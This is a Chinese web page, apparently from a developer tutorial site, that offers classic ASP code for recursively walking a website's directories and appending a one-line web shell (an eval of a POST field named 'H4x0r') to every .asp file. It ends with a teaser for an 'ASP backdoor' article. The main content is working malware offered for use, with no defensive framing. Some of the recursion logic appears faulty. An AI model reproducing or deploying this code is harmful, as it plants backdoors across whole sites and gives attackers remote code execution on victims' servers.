FSO遍历目录实现全站插马的代码

<% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath("/") Sub InsertAllFiles(Path) Set FSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfile in fc2 If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then Set FS1 = CreateObject("Scripting.FileSystemObject") Set tfile=FS1.opentextfile(path&""&myfile.name,8,false) tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>" else InsertAllFiles(newpath) end if tfile.close Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers newpath=path&""&f1.name InsertAllFiles(newpath) Next set tfile=nothing Set FSO = Nothing End Sub %> <% call InsertAllFiles(ph) %>

　　推荐阅读

　　七步倒┈→专用asp后门

<html> <head> <title>七步倒┈→专用asp后门</title> </head> </html> <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystem>>>详细阅读

本文标题：FSO遍历目录实现全站插马的代码

地址：http://www.17bianji.com/kaifa2/ASP/32532.html

1/2 1